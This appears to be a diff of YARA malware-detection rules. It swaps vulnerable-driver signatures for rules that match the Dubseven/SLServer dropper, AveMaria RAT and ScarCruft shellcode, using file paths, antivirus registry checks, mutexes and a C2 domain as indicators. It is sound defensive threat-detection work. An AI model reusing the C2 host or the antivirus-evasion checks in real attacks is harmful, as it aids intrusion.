-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f004d00610070002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003100300020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
+		$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
+		$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
+		$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
+		$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
+		$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
+		$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
+		$file7 = "\\Microsoft\\Internet Explorer\\mon"
+		$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 3 of ($file*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E05E : FILE
+rule SIGNATURE_BASE_Dubseven_Dropper_Registry_Checks : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt.sys"
-		author = "Florian Roth"
-		id = "71c7a688-d20a-57c3-b4c5-b8344e936900"
-		date = "2023-06-14"
+		description = "Searches for registry keys checked for by the dropper"
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "8369cdbb-53b8-5dc5-9181-fd49747042a7"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2974-L2994"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
-		logic_hash = "94ee30a5cbd1ff47cddf35ec2205d9008857e87c457dce025501132231a146e4"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L31-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "813ff641a4213cf9d56013768e284e7f622a223c6c4f585c3bbbcf69fc03723c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$reg1 = "SOFTWARE\\360Safe\\Liveup"
+		$reg2 = "Software\\360safe"
+		$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
+		$reg4 = "SOFTWARE\\Avira\\Avira Destop"
+		$reg5 = "SOFTWARE\\rising\\RAV"
+		$reg6 = "SOFTWARE\\JiangMin"
+		$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and all of ($reg*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E452 : FILE
+rule SIGNATURE_BASE_Dubseven_Dropper_Dialog_Remains : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "15332784-229c-5b5e-b06c-2ea6cff64113"
-		date = "2023-06-14"
+		description = "Searches for related dialog remnants. How rude."
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "6029ea74-26fc-57d1-aaed-be1ea2138844"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L2997-L3017"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4522e2cfa0b1f5d258a3cf85b87681d6969e0572f668024c465d635c236b5d9"
-		logic_hash = "0a35b3e88bb078e61c2769267fdba624d171492b0e4d1c57ecf7ea770fa2f44d"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L59-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "322ddc1210b6bde393970c61113e6efcb87a3529db386323dfd08973e5d2703e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$dia1 = "fuckMessageBox 1.0" wide
+		$dia2 = "Rundll 1.0" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and any of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_5596 : FILE
+rule SIGNATURE_BASE_Maindll_Mutex : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - hw.sys"
-		author = "Florian Roth"
-		id = "2a470258-2ec1-5d80-8ce8-d8f83a27c365"
-		date = "2023-06-14"
+		description = "Matches on the maindll mutex"
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "7a89dae3-9e03-5803-9729-78e6e65e91d3"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3020-L3041"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa"
-		hash = "4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8"
-		logic_hash = "fcfc255a20b512b38057022c05a694e757b08950d6d35b3c361b0559da51a689"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L83-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d3311164104198e02e700c2e9a5293e55d75d63b39c75c4e375b7f35eb5fde4"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d003100300020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003200310020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$mutex = "h31415927tttt"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $mutex
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Mydriverscom_Hwm_Drivergenius_08EB : FILE
+rule SIGNATURE_BASE_Slserver_Dialog_Remains : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mydrivers.sys"
-		author = "Florian Roth"
-		id = "a944a7a1-f938-548e-8788-a4733d777850"
-		date = "2023-06-14"
+		description = "Searches for related dialog remnants."
+		author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
+		id = "cf199d25-ce5e-52c2-88de-32a48dee4c6f"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3044-L3064"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6"
-		logic_hash = "2371de5547217734226420bbbee12dee897206bd2419387d2c2fc2ae07df7fec"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L106-L136"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b18f4a6c54b456ae697e9639e8c3041fd4f3141d89850c3e1d3d4e220c3cea3"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440072006900760065007200470065006e0069007500730020004800610072006400770061007200650020006d006f006e00690074006f0072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00790044007200690076006500720073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0032002e003700300037002e0031003200310034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032003000310036002e0037002e0037002e0031003200310034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480057004d }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440072006900760065007200470065006e006900750073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d00790064007200690076006500720073002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020004d00790044007200690076006500720073002e0063006f006d00200061006c006c002000720069006700680074 }
+		$slserver = "SLServer" wide fullword
+		$fp1 = "Dell Inc." wide fullword
+		$fp2 = "ScriptLogic Corporation" wide
+		$extra1 = "SLSERVER" wide fullword
+		$extra2 = "\\SLServer.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and not 1 of ($fp*) and 1 of ($extra*) and $slserver
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_3E27 : FILE
+rule SIGNATURE_BASE_Slserver_Mutex : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
-		author = "Florian Roth"
-		id = "5e116c70-6da1-5397-9b73-32955086c886"
-		date = "2023-06-14"
+		description = "Searches for the mutex."
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "decdefd0-fe20-5adf-9d8c-0e2b954481a0"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3067-L3087"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3e274df646f191d2705c0beaa35eeea84808593c3b333809f13632782e27ad75"
-		logic_hash = "18affdea7f982e47ca4852d9a4a28797a1ca3175c404c8e5c316ee3a610cf858"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L138-L158"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9bf3c6c93e77424463e3fb6f9f4d58e80254866462fe1287293b0a357737da20"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$mutex = "M&GX^DSF&DA@F"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $mutex
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Powertool_Kevpsys_Powertool_8E63 : FILE
+rule SIGNATURE_BASE_Slserver_Command_And_Control : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kEvP64.sys"
-		author = "Florian Roth"
-		id = "0010c121-11bb-5068-a06d-aa136e5af0ad"
-		date = "2023-06-14"
+		description = "Searches for the C2 server."
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "e4fcda6c-1c9f-5b58-8b07-8d1a0dc4eaf6"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3090-L3112"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8e6363a6393eb4234667c6f614b2072e33512866b3204f8395bbe01530d63f2f"
-		hash = "09b0e07af8b17db1d896b78da4dd3f55db76738ee1f4ced083a97d737334a184"
-		hash = "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c"
-		logic_hash = "eb30a51b174462ff2b1b3d62b62fc572445293dfdc0f70f64c73c9b15cbf6c0b"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L160-L180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "48a13d27b7dc9a7f3a65752142b2a291e7c3ee93ef67b36aa4202d065e74d80e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0050006f0077006500720054006f006f006c }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0050006f0077006500720054006f006f006c }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006b00450076005000360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050006f0077006500720054006f006f006c }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00450076005000360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0050006f0077006500720054006f006f006c }
+		$c2 = "safetyssl.security-centers.com"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $c2
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_3B6E : FILE
+rule SIGNATURE_BASE_Slserver_Campaign_Code : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "d2e411b6-da38-5ff0-a24a-78064a5fafcf"
-		date = "2023-06-14"
+		description = "Searches for the related campaign code."
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "672f506e-0cc1-5b09-873b-c3d206486bac"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3115-L3135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3b6e85c8fed9e39b21b2eab0b69bc464272b2c92961510c36e2e2df7aa39861b"
-		logic_hash = "f3736282399849376632ee9392bf679779cecbb76fa7bd8ccaff0b787a3370f5"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L182-L202"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fbf53678399b0e14eae6f1bb6594b2aa665f76f10388e492bec2f9101a4dd4b1"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
+		$campaign = "wthkdoc0106"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $campaign
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7C73 : FILE
+rule SIGNATURE_BASE_Slserver_Unknown_String : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "ab7574a5-acba-5e3d-9259-e5833d43d195"
-		date = "2023-06-14"
+		description = "Searches for a unique string."
+		author = "Matt Brooks, @cmatthewbrooks"
+		id = "00341604-480f-59aa-9c18-009e7b53928e"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3138-L3159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7c731c0ea7f28671ab7787800db69739ea5cd6be16ea21045b4580cf95cbf73b"
-		hash = "fca10cde7d331b7f614118682d834d46125a65888e97bd9fda2df3f15797166c"
-		logic_hash = "9e024ac35be2fe02ecaae96f3cfbbae60b4032986f22710809699049456e979c"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_between-hk-and-burma.yar#L204-L224"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "18d3bb236282c506c161949883722da1cb0af6dd87bf5cb3d4a5b3d90f4a7db0"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$string = "test-b7fa835a39"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and $string
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1A42 : FILE
+rule SIGNATURE_BASE_MAL_Avemaria_RAT_Jul19 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "d776ad80-318f-5e3c-b006-daa70a14aff4"
-		date = "2023-06-14"
+		description = "Detects AveMaria RAT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "960048cf-7a56-50cf-8498-549f900770d8"
+		date = "2019-07-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3162-L3182"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1a42ebde59e8f63804eaa404f79ee93a16bb33d27fb158c6bfbe6143226899a0"
-		logic_hash = "bfd4ff6c58d83e8d09d43d75e655993319283d0a41407d20417011d663791fd3"
-		score = 40
+		reference = "https://twitter.com/abuse_ch/status/1145697917161934856"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_avemaria_rat.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a848ec579db6a07faeab5c855a56889b4bfeaa2958d0388f7fe8c6dcdea7e457"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "5a927db1566468f23803746ba0ccc9235c79ca8672b1444822631ddbf2651a59"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
+		$a1 = "operator co_await" fullword ascii
+		$s1 = "uohlyatqn" fullword ascii
+		$s2 = "index = [%d][%d][%d][%d]" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_EC5F : FILE
+rule SIGNATURE_BASE_APT_NK_Scarcruft_RUBY_Shellcode_XOR_Routine : APT
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "1d73baba-017c-527d-9eb8-0eb9865656b6"
-		date = "2023-06-14"
+		description = "Detects Ruby ShellCode XOR routine used by ScarCruft APT group"
+		author = "S2WLAB_TALON_JACK2"
+		id = "c393f2db-8ade-5083-9cec-f62f23056f8b"
+		date = "2021-05-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3185-L3205"
